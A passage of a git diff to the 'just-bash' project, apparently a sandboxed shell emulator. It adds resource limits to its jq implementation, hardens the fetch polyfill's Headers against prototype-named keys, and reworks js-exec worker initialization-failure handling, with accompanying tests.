         if (options.printUnpairable.has(1) || options.onlyUnpairable.has(1)) {
-          output.push(formatOutputLine(line1, null, options));
+          appendOutput(formatOutputLine(line1, null, options));
         }
       }
     }
@@ -365,7 +435,7 @@ export const join: Command = {
     if (options.printUnpairable.has(2) || options.onlyUnpairable.has(2)) {
       for (const line2 of lines2) {
         if (!matchedKeys2.has(line2.joinKey)) {
-          output.push(formatOutputLine(null, line2, options));
+          appendOutput(formatOutputLine(null, line2, options));
         }
       }
     }
diff --git a/packages/just-bash/src/commands/jq/jq.limits.test.ts b/packages/just-bash/src/commands/jq/jq.limits.test.ts
index 38a0c764..c780eb66 100644
--- a/packages/just-bash/src/commands/jq/jq.limits.test.ts
+++ b/packages/just-bash/src/commands/jq/jq.limits.test.ts
@@ -1,6 +1,7 @@
 import { describe, expect, it } from "vitest";
 import { Bash } from "../../Bash.js";
 import { ExecutionLimitError } from "../../interpreter/errors.js";
+import { evaluate, parse } from "../query-engine/index.js";
 
 /**
  * JQ Execution Limits Tests
@@ -12,6 +13,68 @@ import { ExecutionLimitError } from "../../interpreter/errors.js";
  */
 
 describe("JQ Execution Limits", () => {
+  describe("string allocation protection", () => {
+    it("rejects string multiplication before repeat allocates", async () => {
+      const env = new Bash({
+        executionLimits: { maxStringLength: 64 },
+      });
+
+      const result = await env.exec(`jq -n '"12345678" * 9'`);
+
+      expect(result.stdout).toBe("");
+      expect(result.stderr).toBe("jq: string size limit exceeded (64 bytes)\n");
+      expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    });
+
+    it("allows string multiplication at the configured boundary", async () => {
+      const env = new Bash({
+        executionLimits: { maxStringLength: 65 },
+      });
+
+      const result = await env.exec(`jq -nr '"12345678" * 8'`);
+
+      expect(result.stdout).toBe(`${"12345678".repeat(8)}\n`);
+      expect(result.stderr).toBe("");
+      expect(result.exitCode).toBe(0);
+    });
+
+    it("counts UTF-8 bytes for concatenation before allocation", () => {
+      expect(() =>
+        evaluate(null, parse(`"é" + "é"`), {
+          limits: { maxStringLength: 3 },
+        }),
+      ).toThrowError("string size limit exceeded (3 bytes)");
+    });
+
+    it("preserves jq negative and fractional repeat semantics", async () => {
+      const env = new Bash();
+      const result = await env.exec(`jq -nc '["a" * -1, "a" * 1.5]'`);
+      expect(result.stdout).toBe('[null,"a"]\n');
+      expect(result.stderr).toBe("");
+      expect(result.exitCode).toBe(0);
+    });
+
+    it("reserves the final output newline prospectively", async () => {
+      const exact = new Bash({
+        executionLimits: { maxStringLength: 100, maxOutputSize: 3 },
+      });
+      const accepted = await exact.exec(`jq -nr '"é"'`);
+      expect(accepted.stdout).toBe("é\n");
+      expect(accepted.stderr).toBe("");
+      expect(accepted.exitCode).toBe(0);
+
+      const over = new Bash({
+        executionLimits: { maxStringLength: 100, maxOutputSize: 2 },
+      });
+      const rejected = await over.exec(`jq -nr '"é"'`);
+      expect(rejected.stdout).toBe("");
+      expect(rejected.stderr).toBe(
+        "bash: pipeline: total output size exceeded (>2 bytes), increase executionLimits.maxOutputSize\n",
+      );
+      expect(rejected.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    });
+  });
+
   describe("until loop protection", () => {
     it("should protect against infinite until loop", async () => {
       const env = new Bash();
@@ -84,15 +147,40 @@ describe("JQ Execution Limits", () => {
 
       expect(result.exitCode).toBe(0);
     });
+
+    it("allows realistic documents deeper than the shell call-depth limit", async () => {
+      const env = new Bash();
+      const input = `${'{"a":'.repeat(150)}null${"}".repeat(150)}`;
+      const result = await env.exec(`jq '[recurse(.a?)] | length'`, {
+        stdin: input,
+      });
+
+      expect(result).toMatchObject({
+        stdout: "150\n",
+        stderr: "",
+        exitCode: 0,
+      });
+    });
+
+    it("uses the dedicated query depth limit", async () => {
+      const env = new Bash({ executionLimits: { maxQueryDepth: 50 } });
+      const input = `${'{"a":'.repeat(100)}null${"}".repeat(100)}`;
+      const result = await env.exec(`jq '[recurse(.a?)] | length'`, {
+        stdin: input,
+      });
+
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toBe("jq: query depth limit exceeded (50)\n");
+    });
   });
 
   describe("range limits", () => {
-    it("should handle large range with limit", async () => {
+    it("rejects oversized ranges before an outer limit can materialize them", async () => {
       const env = new Bash();
-      const result = await env.exec(`jq -n '[limit(5; range(1000000))]'`);
+      const result = await env.exec(`jq -n '[limit(5; range(1000001))]'`);
 
-      expect(result.exitCode).toBe(0);
-      expect(JSON.parse(result.stdout)).toEqual([0, 1, 2, 3, 4]);
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("element limit exceeded");
     });
 
     it("should cap range output to prevent memory exhaustion", async () => {
@@ -100,25 +188,24 @@ describe("JQ Execution Limits", () => {
       // range(2000000) exceeds the 1M default cap
       const result = await env.exec(`jq -n '[range(2000000)] | length'`);
 
-      expect(result.exitCode).toBe(0);
-      // Should be capped at maxIterations * 100 (default 10000 * 100 = 1M)
-      expect(Number(result.stdout.trim())).toBeLessThanOrEqual(1_000_000);
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("element limit exceeded");
     });
 
     it("should cap range with start;end form", async () => {
       const env = new Bash();
       const result = await env.exec(`jq -n '[range(0; 2000000)] | length'`);
 
-      expect(result.exitCode).toBe(0);
-      expect(Number(result.stdout.trim())).toBeLessThanOrEqual(1_000_000);
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("element limit exceeded");
     });
 
     it("should cap range with start;end;step form", async () => {
       const env = new Bash();
       const result = await env.exec(`jq -n '[range(0; 2000000; 1)] | length'`);
 
-      expect(result.exitCode).toBe(0);
-      expect(Number(result.stdout.trim())).toBeLessThanOrEqual(1_000_000);
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("element limit exceeded");
     });
 
     it("should allow moderate ranges", async () => {
@@ -130,4 +217,101 @@ describe("JQ Execution Limits", () => {
       expect(result.stdout.trim()).toBe("50000");
     });
   });
+
+  describe("aggregate evaluator limits", () => {
+    it("keeps large normal-profile maps compatible while hardened work is finite", async () => {
+      const input = JSON.stringify(new Array(100_001).fill(null));
+      const normal = await new Bash().exec("jq 'map(.) | length'", {
+        stdin: input,
+      });
+      expect(normal).toMatchObject({
+        stdout: "100001\n",
+        stderr: "",
+        exitCode: 0,
+      });
+
+      const hardened = await new Bash({
+        executionLimitProfile: "hardened",
+        executionLimits: { maxQueryElements: 200_000 },
+      }).exec("jq 'map(.) | length'", { stdin: input });
+      expect(hardened.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+      expect(hardened.stderr).toContain("too many iterations (10000)");
+    });
+
+    it("rejects exponential pipe fan-out before the next result array", async () => {
+      const filter = Array.from({ length: 5 }, () => "(.,.)").join(" | ");
+      const below = new Bash({
+        executionLimits: { maxQueryElements: 31 },
+      });
+      const rejected = await below.exec(`jq -n '${filter}'`);
+      expect(rejected.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+      expect(rejected.stderr).toContain("result element limit exceeded (31)");
+
+      const exact = new Bash({
+        executionLimits: { maxQueryElements: 32 },
+      });
+      const accepted = await exact.exec(`jq -n '${filter}'`);
+      expect(accepted.exitCode).toBe(0);
+      expect(accepted.stdout.trim().split("\n")).toHaveLength(32);
+    });
+
+    it("rejects non-finite and above-limit nested update indices", async () => {
+      const env = new Bash({
+        executionLimits: { maxQueryElements: 4 },
+      });
+      const infinite = await env.exec(`jq '.a[infinite] = 1'`, {
+        stdin: '{"a":[]}',
+      });
+      expect(infinite.exitCode).not.toBe(0);
+      expect(infinite.stderr).toContain("array index must be finite");
+
+      const caughtNan = await env.exec(
+        `jq -n 'try ([range(3)] | .[nan] = 9) catch .'`,
+      );
+      expect(caughtNan.exitCode).toBe(0);
+      expect(caughtNan.stdout).toBe(
+        '"Cannot set array element at NaN index"\n',
+      );
+
+      const above = await env.exec(`jq '.a[4] = 1'`, { stdin: '{"a":[]}' });
+      expect(above.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+      expect(above.stderr).toContain("result element limit exceeded (4)");
+
+      const exact = await env.exec(`jq -c '.a[3] = 1'`, {
+        stdin: '{"a":[]}',
+      });
+      expect(exact.stdout).toBe('{"a":[null,null,null,1]}\n');
+    });
+
+    it("bounds primitive JSON streams before retaining them", async () => {
+      const env = new Bash({ executionLimits: { maxQueryElements: 4 } });
+      const result = await env.exec("jq -s length", {
+        stdin: "null\n".repeat(5),
+      });
+      expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+      expect(result.stderr).toContain("result element limit exceeded (4)");
+    });
+
+    it("appends liberal-size JSON streams without argument spreading", async () => {
+      const env = new Bash();
+      const result = await env.exec("jq -s length", {
+        stdin: "null\n".repeat(150_000),
+      });
+      expect(result.exitCode).toBe(0);
+      expect(result.stdout).toBe("150000\n");
+    });
+
+    it("rejects deep JSON before recursive formatting", async () => {
+      const env = new Bash({ executionLimits: { maxQueryDepth: 16 } });
+      const above = `${"[".repeat(17)}0${"]".repeat(17)}`;
+      const rejected = await env.exec("jq .", { stdin: above });
+      expect(rejected.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+      expect(rejected.stderr).toContain("query depth limit exceeded (16)");
+
+      const exact = `${"[".repeat(16)}0${"]".repeat(16)}`;
+      const accepted = await env.exec("jq -c .", { stdin: exact });
+      expect(accepted.exitCode).toBe(0);
+      expect(accepted.stdout).toBe(`${exact}\n`);
+    });
+  });
 });
diff --git a/packages/just-bash/src/commands/jq/jq.ts b/packages/just-bash/src/commands/jq/jq.ts
index 17105eec..9e2b5192 100644
--- a/packages/just-bash/src/commands/jq/jq.ts
+++ b/packages/just-bash/src/commands/jq/jq.ts
@@ -1,5 +1,5 @@
 /**
- * jq - Command-line JSON processor
+ * jq - RuntimeCommand-line JSON processor
  *
  * Full jq implementation with proper parser and evaluator.
  */
@@ -12,16 +12,23 @@ import {
   awaitWithDefenseContext,
 } from "../../security/defense-context.js";
 import { SecurityViolationError } from "../../security/defense-in-depth-box.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { readFiles } from "../../utils/file-reader.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
+import { utf8ByteLength } from "../printf/escapes.js";
 import {
   type EvaluateOptions,
   evaluate,
   parse,
   type QueryValue,
 } from "../query-engine/index.js";
+import { formatJsonValue } from "../query-engine/json-output.js";
 import { sanitizeParsedData } from "../query-engine/safe-object.js";
+import { getValueDepth } from "../query-engine/value-operations.js";
 
 function escapeControlChar(char: string): string {
   switch (char) {
@@ -89,8 +96,20 @@ function parseJsonSlice(
  * Parse a JSON stream (concatenated JSON values).
  * Real jq can handle `{...}{...}` or `{...}\n{...}` or pretty-printed concatenated JSONs.
  */
-function parseJsonStream(input: string): unknown[] {
+function parseJsonStream(
+  input: string,
+  limits: { maxDepth: number; maxElements: number },
+): unknown[] {
   const results: unknown[] = [];
+  const appendResult = (value: unknown): void => {
+    if (results.length >= limits.maxElements) {
+      throw new ExecutionLimitError(
+        `query result element limit exceeded (${limits.maxElements})`,
+        "array_elements",
+      );
+    }
+    results.push(value);
+  };
   let pos = 0;
   const len = input.length;
 
@@ -104,14 +123,12 @@ function parseJsonStream(input: string): unknown[] {
 
     if (char === "{" || char === "[") {
       // Parse object or array by finding matching close bracket
-      const openBracket = char;
-      const closeBracket = char === "{" ? "}" : "]";
-      let depth = 1;
+      const bracketStack: string[] = [char === "{" ? "}" : "]"];
       let inString = false;
       let isEscaped = false;
       pos++;
 
-      while (pos < len && depth > 0) {
+      while (pos < len && bracketStack.length > 0) {
         const c = input[pos];
         if (isEscaped) {
           isEscaped = false;
@@ -120,19 +137,35 @@ function parseJsonStream(input: string): unknown[] {
         } else if (c === '"') {
           inString = !inString;
         } else if (!inString) {
-          if (c === openBracket) depth++;
-          else if (c === closeBracket) depth--;
+          if (c === "{" || c === "[") {
+            bracketStack.push(c === "{" ? "}" : "]");
+            if (bracketStack.length > limits.maxDepth) {
+              throw new ExecutionLimitError(
+                `query depth limit exceeded (${limits.maxDepth})`,
+                "recursion",
+              );
+            }
+          } else if (c === "}" || c === "]") {
+            if (bracketStack.pop() !== c) {
+              throw new Error(`Mismatched JSON delimiter at position ${pos}`);
+            }
+          }
         }
         pos++;
       }
 
-      if (depth !== 0) {
+      if (bracketStack.length !== 0) {
         throw new Error(
-          `Unexpected end of JSON input at position ${pos} (unclosed ${openBracket})`,
+          `Unexpected end of JSON input at position ${pos} (unclosed ${char})`,
         );
       }
 
-      results.push(sanitizeParsedData(parseJsonSlice(input, startPos, pos)));
+      appendResult(
+        sanitizeParsedData(parseJsonSlice(input, startPos, pos), {
+          maxDepth: limits.maxDepth,
+          maxElements: limits.maxElements,
+        }),
+      );
     } else if (char === '"') {
       // Parse string
       let isEscaped = false;
@@ -149,19 +182,23 @@ function parseJsonStream(input: string): unknown[] {
         }
         pos++;
       }
-      results.push(sanitizeParsedData(parseJsonSlice(input, startPos, pos)));
+      appendResult(
+        sanitizeParsedData(parseJsonSlice(input, startPos, pos), limits),
+      );
     } else if (char === "-" || (char >= "0" && char <= "9")) {
       // Parse number
       while (pos < len && /[\d.eE+-]/.test(input[pos])) pos++;
-      results.push(sanitizeParsedData(parseJsonSlice(input, startPos, pos)));
+      appendResult(
+        sanitizeParsedData(parseJsonSlice(input, startPos, pos), limits),
+      );
     } else if (input.slice(pos, pos + 4) === "true") {
-      results.push(true);
+      appendResult(true);
       pos += 4;
     } else if (input.slice(pos, pos + 5) === "false") {
-      results.push(false);
+      appendResult(false);
       pos += 5;
     } else if (input.slice(pos, pos + 4) === "null") {
-      results.push(null);
+      appendResult(null);
       pos += 4;
     } else {
       // Try to provide context about what we found
@@ -196,68 +233,13 @@ const jqHelp = {
   ],
 };
 
-function formatValue(
-  v: QueryValue,
-  compact: boolean,
-  raw: boolean,
-  sortKeys: boolean,
-  useTab: boolean,
-  indent = 0,
-): string {
-  if (v === null) return "null";
-  if (v === undefined) return "null";
-  if (typeof v === "boolean") return String(v);
-  if (typeof v === "number") {
-    if (!Number.isFinite(v)) return "null";
-    return String(v);
-  }
-  if (typeof v === "string") return raw ? v : JSON.stringify(v);
-
-  const indentStr = useTab ? "\t" : "  ";
-
-  if (Array.isArray(v)) {
-    if (v.length === 0) return "[]";
-    if (compact) {
-      return `[${v.map((x) => formatValue(x, true, false, sortKeys, useTab)).join(",")}]`;
-    }
-    const items = v.map(
-      (x) =>
-        indentStr.repeat(indent + 1) +
-        formatValue(x, false, false, sortKeys, useTab, indent + 1),
-    );
-    return `[\n${items.join(",\n")}\n${indentStr.repeat(indent)}]`;
-  }
-
-  if (typeof v === "object") {
-    let keys = Object.keys(v as object);
-    if (sortKeys) keys = keys.sort();
-    if (keys.length === 0) return "{}";
-    if (compact) {
-      // @banned-pattern-ignore: iterating via Object.keys() which only returns own properties
-      return `{${keys.map((k) => `${JSON.stringify(k)}:${formatValue((v as Record<string, unknown>)[k], true, false, sortKeys, useTab)}`).join(",")}}`;
-    }
-    const items = keys.map((k) => {
-      // @banned-pattern-ignore: iterating via Object.keys() which only returns own properties
-      const val = formatValue(
-        (v as Record<string, unknown>)[k],
-        false,
-        false,
-        sortKeys,
-        useTab,
-        indent + 1,
-      );
-      return `${indentStr.repeat(indent + 1)}${JSON.stringify(k)}: ${val}`;
-    });
-    return `{\n${items.join(",\n")}\n${indentStr.repeat(indent)}}`;
-  }
-
-  return String(v);
-}
-
-export const jqCommand: Command = {
+export const jqCommand: RuntimeCommand = {
   name: "jq",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     assertDefenseContext(ctx.requireDefenseContext, "jq", "execution entry");
     const withDefenseContext = <T>(
       phase: string,
@@ -355,16 +337,40 @@ export const jqCommand: Command = {
     }
 
     try {
-      const ast = parse(filter);
+      const ast = parse(filter, {
+        maxDepth: ctx.limits.maxQueryDepth,
+        maxTokens: ctx.limits.maxQueryTokens,
+        maxSourceLength: ctx.limits.maxStringLength,
+      });
       let values: QueryValue[] = [];
 
       const evalOptions: EvaluateOptions = {
         limits: ctx.limits
-          ? { maxIterations: ctx.limits.maxJqIterations }
+          ? {
+              maxIterations: ctx.limits.maxJqIterations,
+              maxStringLength: ctx.limits.maxStringLength,
+              maxOutputSize: ctx.limits.maxOutputSize,
+              maxArrayElements: ctx.limits.maxQueryElements,
+              maxDepth: ctx.limits.maxQueryDepth,
+            }
           : undefined,
         env: ctx.env,
         coverage: ctx.coverage,
         requireDefenseContext: ctx.requireDefenseContext,
+        budget: { operations: 0, callDepth: 0 },
+      };
+      const jsonLimits = {
+        maxDepth: ctx.limits.maxQueryDepth,
+        maxElements: ctx.limits.maxQueryElements,
+      };
+      const appendValues = (target: QueryValue[], next: QueryValue[]): void => {
+        if (next.length > ctx.limits.maxQueryElements - target.length) {
+          throw new ExecutionLimitError(
+            `query result element limit exceeded (${ctx.limits.maxQueryElements})`,
+            "array_elements",
+          );
+        }
+        for (const value of next) target.push(value);
       };
 
       if (nullInput) {
@@ -387,14 +393,17 @@ export const jqCommand: Command = {
           let start = 0;
           let nl = text.indexOf("\n", start);
           while (nl !== -1) {
-            values.push(...evaluate(text.slice(start, nl), ast, evalOptions));
+            appendValues(
+              values,
+              evaluate(text.slice(start, nl), ast, evalOptions),
+            );
             start = nl + 1;
             nl = text.indexOf("\n", start);
           }
           remainder = text.slice(start);
         }
         if (remainder !== "") {
-          values.push(...evaluate(remainder, ast, evalOptions));
+          appendValues(values, evaluate(remainder, ast, evalOptions));
         }
       } else if (slurp) {
         // Slurp mode: combine all inputs into single array
@@ -403,7 +412,7 @@ export const jqCommand: Command = {
         for (const { content } of inputs) {
           const trimmed = content.trim();
           if (trimmed) {
-            items.push(...parseJsonStream(trimmed));
+            appendValues(items, parseJsonStream(trimmed, jsonLimits));
           }
         }
         values = evaluate(items, ast, evalOptions);
@@ -414,31 +423,61 @@ export const jqCommand: Command = {
           const trimmed = content.trim();
           if (!trimmed) continue;
 
-          const jsonValues = parseJsonStream(trimmed);
+          const jsonValues = parseJsonStream(trimmed, jsonLimits);
           for (const jsonValue of jsonValues) {
-            values.push(...evaluate(jsonValue, ast, evalOptions));
+            appendValues(values, evaluate(jsonValue, ast, evalOptions));
           }
         }
       }
 
-      const formatted = values.map((v) =>
-        formatValue(v, compact, raw, sortKeys, useTab),
-      );
       const separator = joinOutput ? "" : "\n";
-      const output = formatted.join(separator);
-
-      // Check output size against limit
-      const maxStringLength = ctx.limits?.maxStringLength;
-      if (
-        maxStringLength !== undefined &&
-        maxStringLength > 0 &&
-        output.length > maxStringLength
-      ) {
-        throw new ExecutionLimitError(
-          `jq: output size limit exceeded (${maxStringLength} bytes)`,
-          "string_length",
-        );
+      const maxStringLength = Math.min(
+        ctx.limits.maxStringLength,
+        ctx.limits.maxOutputSize,
+      );
+      const formatted: string[] = [];
+      let outputBytes = 0;
+      for (const value of values) {
+        const separatorBytes = formatted.length > 0 ? separator.length : 0;
+        const finalNewlineBytes = joinOutput ? 0 : 1;
+        const remainingBytes =
+          maxStringLength - outputBytes - separatorBytes - finalNewlineBytes;
+        if (remainingBytes < 0) {
+          throw new ExecutionLimitError(
+            `output size limit exceeded (${maxStringLength} bytes)`,
+            "string_length",
+          );
+        }
+        if (
+          getValueDepth(value, ctx.limits.maxQueryDepth + 1) >
+          ctx.limits.maxQueryDepth
+        ) {
+          throw new ExecutionLimitError(
+            `query depth limit exceeded (${ctx.limits.maxQueryDepth})`,
+            "recursion",
+          );
+        }
+        const text = formatJsonValue(value, remainingBytes, {
+          compact,
+          raw,
+          sortKeys,
+          useTab,
+          limitKind: "string_length",
+        });
+        const textBytes = utf8ByteLength(text);
+        if (
+          outputBytes + separatorBytes + textBytes + finalNewlineBytes >
+          maxStringLength
+        ) {
+          throw new ExecutionLimitError(
+            `output size limit exceeded (${maxStringLength} bytes)`,
+            "string_length",
+          );
+        }
+        outputBytes += separatorBytes + textBytes;
+        formatted.push(text);
       }
+      const output = formatted.join(separator);
 
       const exitCode =
         exitStatus &&
diff --git a/packages/just-bash/src/commands/js-exec/README.md b/packages/just-bash/src/commands/js-exec/README.md
index 23112804..8db9539c 100644
--- a/packages/just-bash/src/commands/js-exec/README.md
+++ b/packages/just-bash/src/commands/js-exec/README.md
@@ -249,5 +249,5 @@ and/or `@executor-js/sdk` discovery (GraphQL, OpenAPI, MCP).
 ## Limits
 
 - **Memory**: 64 MB per execution
-- **Timeout**: 10 seconds by default, or 60 seconds when network is enabled (configurable via `maxJsTimeoutMs`)
+- **Timeout**: 10 seconds by default and never raised by enabling network access (configurable via `maxJsTimeoutMs`)
 - **Engine**: QuickJS (compiled to WebAssembly)
diff --git a/packages/just-bash/src/commands/js-exec/fetch-polyfill.ts b/packages/just-bash/src/commands/js-exec/fetch-polyfill.ts
index 3cd037c0..d885a658 100644
--- a/packages/just-bash/src/commands/js-exec/fetch-polyfill.ts
+++ b/packages/just-bash/src/commands/js-exec/fetch-polyfill.ts
@@ -264,7 +264,7 @@ export const FETCH_POLYFILL_SOURCE = `
 
   // --- Headers ---
   function Headers(init) {
-    this._map = {};
+    this._map = Object.create(null);
     if (!init) return;
     if (init instanceof Headers) {
       var keys = Object.keys(init._map);
@@ -281,7 +281,7 @@ export const FETCH_POLYFILL_SOURCE = `
 
   Headers.prototype.append = function(name, value) {
     var key = String(name).toLowerCase();
-    if (!this._map[key]) this._map[key] = [];
+    if (!Object.prototype.hasOwnProperty.call(this._map, key)) this._map[key] = [];
     this._map[key].push(String(value));
   };
 
@@ -295,7 +295,7 @@ export const FETCH_POLYFILL_SOURCE = `
   };
 
   Headers.prototype.has = function(name) {
-    return String(name).toLowerCase() in this._map;
+    return Object.prototype.hasOwnProperty.call(this._map, String(name).toLowerCase());
   };
 
   Headers.prototype.set = function(name, value) {
diff --git a/packages/just-bash/src/commands/js-exec/js-exec-worker.ts b/packages/just-bash/src/commands/js-exec/js-exec-worker.ts
index e1be2ea0..2d2d14d0 100644
--- a/packages/just-bash/src/commands/js-exec/js-exec-worker.ts
+++ b/packages/just-bash/src/commands/js-exec/js-exec-worker.ts
@@ -56,6 +56,7 @@ export interface JsExecWorkerInput {
 
 export interface JsExecWorkerOutput {
   protocolToken?: string;
+  type?: "initialization-failure";
   success: boolean;
   error?: string;
   defenseStats?: WorkerDefenseStats;
@@ -1463,23 +1464,25 @@ async function executeCode(
 
 // Initial load: initialize with defense-in-depth
 // Store the promise so the message handler can await the same initialization
-const initPromise = initializeWithDefense().catch((e) => {
-  // Intentionally omits protocolToken — init errors happen before we receive
-  // any input, so there is no token to echo back. js-exec.ts handles this by
-  // accepting init-error messages without a token check.
-  parentPort?.postMessage({
-    success: false,
-    // @banned-pattern-ignore: worker-internal init error; message stays within worker protocol, sanitized by js-exec.ts before user output
-    error: (e as Error).message,
-    defenseStats: defense?.getStats(),
-  });
+const initPromise = initializeWithDefense();
+let initializationFailure: unknown;
+void initPromise.catch((error) => {
+  initializationFailure = error;
 });
 
 // Handle messages from main thread
 parentPort?.on("message", async (input: JsExecWorkerInput) => {
+  let initialized = false;
   try {
-    // Wait for the initial defense setup to complete (avoids race condition)
-    await initPromise;
+    if (initializationFailure !== undefined) throw initializationFailure;
+    try {
+      await initPromise;
+    } catch (error) {
+      initializationFailure = error;
+      throw error;
+    }
+    if (initializationFailure !== undefined) throw initializationFailure;
+    initialized = true;
     const result = await executeCode(input);
     result.defenseStats = defense?.getStats();
     result.protocolToken = input.protocolToken;
@@ -1487,9 +1490,10 @@ parentPort?.on("message", async (input: JsExecWorkerInput) => {
   } catch (e) {
     parentPort?.postMessage({
       protocolToken: input.protocolToken,
+      type: initialized ? undefined : "initialization-failure",
       success: false,
       // @banned-pattern-ignore: worker-internal error; message stays within worker protocol, sanitized by js-exec.ts before user output
-      error: (e as Error).message,
+      error: e instanceof Error ? e.message : String(e),
       defenseStats: defense?.getStats(),
     });
   }
diff --git a/packages/just-bash/src/commands/js-exec/js-exec.http.test.ts b/packages/just-bash/src/commands/js-exec/js-exec.http.test.ts
index f9b5c00a..fb43303d 100644
--- a/packages/just-bash/src/commands/js-exec/js-exec.http.test.ts
+++ b/packages/just-bash/src/commands/js-exec/js-exec.http.test.ts
@@ -232,6 +232,16 @@ describe("js-exec http operations", () => {
       expect(result.exitCode).toBe(0);
     });
 
+    it("stores prototype-looking header names as ordinary own keys", async () => {
+      const env = new Bash({ javascript: true });
+      const result = await env.exec(
+        `js-exec -c "var h = new Headers(); h.set('__proto__', 'safe'); h.set('constructor', 'also-safe'); console.log(h.has('__proto__'), h.get('__proto__'), h.has('constructor'), h.get('constructor'))"`,
+      );
+      expect(result.stderr).toBe("");
+      expect(result.stdout).toBe("true safe true also-safe\n");
+      expect(result.exitCode).toBe(0);
+    });
+
     it("should support Response static methods", async () => {
       const env = new Bash({ javascript: true });
       const result = await env.exec(
diff --git a/packages/just-bash/src/commands/js-exec/js-exec.initialization-failure.test.ts b/packages/just-bash/src/commands/js-exec/js-exec.initialization-failure.test.ts
new file mode 100644
index 00000000..01466a7e
--- /dev/null
+++ b/packages/just-bash/src/commands/js-exec/js-exec.initialization-failure.test.ts
@@ -0,0 +1,259 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { EMPTY_BYTES } from "../../encoding.js";
+import { InMemoryFs } from "../../fs/in-memory-fs/in-memory-fs.js";
+import { resolveLimits } from "../../limits.js";
+import type { RuntimeCommandContext } from "../../types.js";
+import type { JsExecWorkerInput } from "./js-exec-worker.js";
+
+type MockWorkerController = {
+  inputs: JsExecWorkerInput[];
+  emit: (event: string, payload?: unknown) => void;
+  terminated: boolean;
+};
+
+const mockState = vi.hoisted(() => ({
+  workers: [] as MockWorkerController[],
+  bridgeStops: 0,
+  constructorThrows: 0,
+  postMessageThrows: 0,
+  holdTermination: false,
+  terminationRejects: false,
+  terminationResolvers: [] as Array<() => void>,
+}));
+
+const SharedBuffer = vi.hoisted(() => globalThis.SharedArrayBuffer);
+
+vi.mock("node:worker_threads", () => {
+  class MockWorker {
+    private handlers = new Map<string, Array<(payload?: unknown) => void>>();
+    private controller: MockWorkerController;
+
+    constructor() {
+      if (mockState.constructorThrows > 0) {
+        mockState.constructorThrows--;
+        throw new Error("mock worker constructor failed");
+      }
+      this.controller = {
+        inputs: [],
+        emit: (event, payload) => this.emit(event, payload),
+        terminated: false,
+      };
+      mockState.workers.push(this.controller);
+    }
+
+    on(event: string, callback: (payload?: unknown) => void): this {
+      const handlers = this.handlers.get(event) ?? [];
+      handlers.push(callback);
+      this.handlers.set(event, handlers);
+      return this;
+    }
+
+    postMessage(input: JsExecWorkerInput): void {
+      if (mockState.postMessageThrows > 0) {
+        mockState.postMessageThrows--;
+        throw new Error("mock worker postMessage failed");
+      }
+      this.controller.inputs.push(input);
+    }
+
+    terminate(): Promise<number> {
+      this.controller.terminated = true;
+      if (mockState.terminationRejects) {
+        return Promise.reject(new Error("mock termination rejected"));
+      }
+      if (!mockState.holdTermination) {
+        this.emit("exit", 0);
+        return Promise.resolve(0);
+      }
+      return new Promise<number>((resolve) => {
+        mockState.terminationResolvers.push(() => {
+          this.emit("exit", 0);
+          resolve(0);
+        });
+      });
+    }
+
+    private emit(event: string, payload?: unknown): void {
+      for (const handler of this.handlers.get(event) ?? []) handler(payload);
+    }
+  }
+
+  return { Worker: MockWorker };
+});
+
+vi.mock("../worker-bridge/bridge-handler.js", () => {
+  class MockBridgeHandler {
+    async run(): Promise<{ stdout: string; stderr: string; exitCode: number }> {
+      return { stdout: "", stderr: "", exitCode: 0 };
+    }
+
+    stop(): void {
+      mockState.bridgeStops++;
+    }
+  }
+  return { BridgeHandler: MockBridgeHandler };
+});
+
+vi.mock("../worker-bridge/protocol.js", () => ({
+  createSharedBuffer: () => new SharedBuffer(4096),
+}));
+
+import { _resetJsExecWorkerForTests, jsExecCommand } from "./js-exec.js";
+
+function context(signal?: AbortSignal): RuntimeCommandContext {
+  return {
+    fs: new InMemoryFs(),
+    cwd: "/home/user",
+    env: new Map(),
+    stdin: EMPTY_BYTES,
+    limits: resolveLimits({ maxJsTimeoutMs: 1_000 }),
+    signal,
+  };
+}
+
+describe("js-exec initialization failure", () => {
+  beforeEach(() => {
+    _resetJsExecWorkerForTests();
+    mockState.workers = [];
+    mockState.bridgeStops = 0;
+    mockState.constructorThrows = 0;
+    mockState.postMessageThrows = 0;
+    mockState.holdTermination = false;
+    mockState.terminationRejects = false;
+    mockState.terminationResolvers = [];
+  });
+
+  it("correlates bootstrap failure and rejects queued and future execution", async () => {
+    const first = jsExecCommand.execute(
+      ["-c", "console.log('first')"],
+      context(),
+    );
+    const second = jsExecCommand.execute(
+      ["-c", "console.log('second')"],
+      context(),
+    );
+
+    expect(mockState.workers).toHaveLength(1);
+    const worker = mockState.workers[0];
+    expect(worker.inputs).toHaveLength(1);
+    const token = worker.inputs[0].protocolToken;
+    worker.emit("message", {
+      protocolToken: token,
+      type: "initialization-failure",
+      success: false,
+      error: "QuickJS bootstrap failed",
+    });
+
+    const [firstResult, secondResult] = await Promise.all([first, second]);
+    expect(firstResult.stderr).toBe("js-exec: QuickJS bootstrap failed\n");
+    expect(secondResult.stderr).toBe("js-exec: QuickJS bootstrap failed\n");
+    expect(firstResult.exitCode).toBe(1);
+    expect(secondResult.exitCode).toBe(1);
+    expect(worker.terminated).toBe(true);
+    expect(mockState.bridgeStops).toBe(2);
+
+    const future = await jsExecCommand.execute(
+      ["-c", "console.log('future')"],
+      context(),
+    );
+    expect(future.stderr).toBe("js-exec: QuickJS bootstrap failed\n");
+    expect(future.exitCode).toBe(1);
+    expect(mockState.workers).toHaveLength(1);
+  });
+
